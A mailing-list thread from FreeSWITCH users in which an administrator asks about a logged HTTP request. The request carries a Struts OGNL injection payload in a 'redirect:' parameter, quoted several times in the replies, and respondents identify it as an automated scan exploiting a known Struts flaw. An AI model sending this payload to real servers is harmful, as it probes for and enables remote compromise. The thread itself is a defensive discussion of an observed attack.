I saw this on the freeswitch console months ago and did not get around to following up on it until now. A freeswitch profile is listening on :8080 a.b.c.d = remote address w.x.y.z = freeswitch address What is this? Is it a concern? recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319: ------------------------------------------------------------------------ POST /login.action HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: w.x.y.z:8080 Content-Length: 395 Expect: 100-continue Connection: Keep-Alive redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
Looks like a browser trying to go to the SIP port listening to TCP. On Wed, Nov 18, 2015 at 11:02 AM, Russell Treleaven <rtreleaven@bunnykick.ca
wrote:
I saw this on the freeswitch console months ago and did not get around to following up on it until now. A freeswitch profile is listening on :8080
a.b.c.d = remote address w.x.y.z = freeswitch address
What is this? Is it a concern?
recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319: ------------------------------------------------------------------------ POST /login.action HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: w.x.y.z:8080
Content-Length: 395 Expect: 100-continue Connection: Keep-Alive
redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
_________________________________________________________________________ Professional FreeSWITCH Consulting Services: consulting@freeswitch.org http://www.freeswitchsolutions.com
Official FreeSWITCH Sites http://www.freeswitch.org http://confluence.freeswitch.org http://www.cluecon.com
FreeSWITCH-users mailing list FreeSWITCH-users@lists.freeswitch.org http://lists.freeswitch.org/mailman/listinfo/freeswitch-users UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users http://www.freeswitch.org
-- Anthony Minessale II ♬ @anthmfs ♬ @FreeSWITCH ♬ ☞ http://freeswitch.org/ ☞ http://cluecon.com/ ☞ http://twitter.com/FreeSWITCH ☞ irc.freenode.net #freeswitch ☞ *http://freeswitch.org/g+ <http://freeswitch.org/g+>* ClueCon Weekly Development Call ☎ sip:888@conference.freeswitch.org ☎ +19193869900 https://www.youtube.com/watch?v=9XXgW34t40s https://www.youtube.com/watch?v=NLaDpGQuZDA
Thanks Anthony On Wed, Nov 18, 2015 at 12:11 PM, Anthony Minessale < anthony.minessale@gmail.com> wrote:
Looks like a browser trying to go to the SIP port listening to TCP.
On Wed, Nov 18, 2015 at 11:02 AM, Russell Treleaven < rtreleaven@bunnykick.ca> wrote:
I saw this on the freeswitch console months ago and did not get around to following up on it until now. A freeswitch profile is listening on :8080
a.b.c.d = remote address w.x.y.z = freeswitch address
What is this? Is it a concern?
recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319:
------------------------------------------------------------------------ POST /login.action HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: w.x.y.z:8080
Content-Length: 395 Expect: 100-continue Connection: Keep-Alive
redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
_________________________________________________________________________ Professional FreeSWITCH Consulting Services: consulting@freeswitch.org http://www.freeswitchsolutions.com
Official FreeSWITCH Sites http://www.freeswitch.org http://confluence.freeswitch.org http://www.cluecon.com
FreeSWITCH-users mailing list FreeSWITCH-users@lists.freeswitch.org http://lists.freeswitch.org/mailman/listinfo/freeswitch-users UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users http://www.freeswitch.org
-- Anthony Minessale II ♬ @anthmfs ♬ @FreeSWITCH ♬
☞ http://freeswitch.org/ ☞ http://cluecon.com/ ☞ http://twitter.com/FreeSWITCH ☞ irc.freenode.net #freeswitch ☞ *http://freeswitch.org/g+ <http://freeswitch.org/g+>*
ClueCon Weekly Development Call ☎ sip:888@conference.freeswitch.org ☎ +19193869900
https://www.youtube.com/watch?v=9XXgW34t40s https://www.youtube.com/watch?v=NLaDpGQuZDA
_________________________________________________________________________ Professional FreeSWITCH Consulting Services: consulting@freeswitch.org http://www.freeswitchsolutions.com
Official FreeSWITCH Sites http://www.freeswitch.org http://confluence.freeswitch.org http://www.cluecon.com
FreeSWITCH-users mailing list FreeSWITCH-users@lists.freeswitch.org http://lists.freeswitch.org/mailman/listinfo/freeswitch-users UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users http://www.freeswitch.org
It hacker's scans hosts in Internet and trying get info about HTTP server. On Wed, Nov 18, 2015, 20:12 Anthony Minessale <anthony.minessale@gmail.com> wrote:
Looks like a browser trying to go to the SIP port listening to TCP.
On Wed, Nov 18, 2015 at 11:02 AM, Russell Treleaven < rtreleaven@bunnykick.ca> wrote:
I saw this on the freeswitch console months ago and did not get around to following up on it until now. A freeswitch profile is listening on :8080
a.b.c.d = remote address w.x.y.z = freeswitch address
What is this? Is it a concern?
recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319:
------------------------------------------------------------------------ POST /login.action HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: w.x.y.z:8080
Content-Length: 395 Expect: 100-continue Connection: Keep-Alive
redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
_________________________________________________________________________ Professional FreeSWITCH Consulting Services: consulting@freeswitch.org http://www.freeswitchsolutions.com
Official FreeSWITCH Sites http://www.freeswitch.org http://confluence.freeswitch.org http://www.cluecon.com
FreeSWITCH-users mailing list FreeSWITCH-users@lists.freeswitch.org http://lists.freeswitch.org/mailman/listinfo/freeswitch-users UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users http://www.freeswitch.org
-- Anthony Minessale II ♬ @anthmfs ♬ @FreeSWITCH ♬
☞ http://freeswitch.org/ ☞ http://cluecon.com/ ☞ http://twitter.com/FreeSWITCH ☞ irc.freenode.net #freeswitch ☞ *http://freeswitch.org/g+ <http://freeswitch.org/g+>*
ClueCon Weekly Development Call ☎ sip:888@conference.freeswitch.org ☎ +19193869900
https://www.youtube.com/watch?v=9XXgW34t40s https://www.youtube.com/watch?v=NLaDpGQuZDA _________________________________________________________________________ Professional FreeSWITCH Consulting Services: consulting@freeswitch.org http://www.freeswitchsolutions.com
Official FreeSWITCH Sites http://www.freeswitch.org http://confluence.freeswitch.org http://www.cluecon.com
FreeSWITCH-users mailing list FreeSWITCH-users@lists.freeswitch.org http://lists.freeswitch.org/mailman/listinfo/freeswitch-users UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users http://www.freeswitch.org
Looks like [likely automatic] attempt to exploit well-known Struts vulnerability. Nothing to worry about - you keep Freeswitch on port well known for presenting http-related services, you'll get more of it. Just block all strings containing 'HTTP/1' and forget about that - Internet is full of bots and zombies. Best regards, O. On 18 November 2015 at 17:02, Russell Treleaven <rtreleaven@bunnykick.ca> wrote:
I saw this on the freeswitch console months ago and did not get around to following up on it until now. A freeswitch profile is listening on :8080
a.b.c.d = remote address w.x.y.z = freeswitch address
What is this? Is it a concern?
recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319: ------------------------------------------------------------------------ POST /login.action HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: w.x.y.z:8080
Content-Length: 395 Expect: 100-continue Connection: Keep-Alive
redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
_________________________________________________________________________ Professional FreeSWITCH Consulting Services: consulting@freeswitch.org http://www.freeswitchsolutions.com
Official FreeSWITCH Sites http://www.freeswitch.org http://confluence.freeswitch.org http://www.cluecon.com
FreeSWITCH-users mailing list FreeSWITCH-users@lists.freeswitch.org http://lists.freeswitch.org/mailman/listinfo/freeswitch-users UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users http://www.freeswitch.org
participants (4)
-
Anthony Minessale
-
Olgierd Ziolko
-
Russell Treleaven
-
Sergey Safarov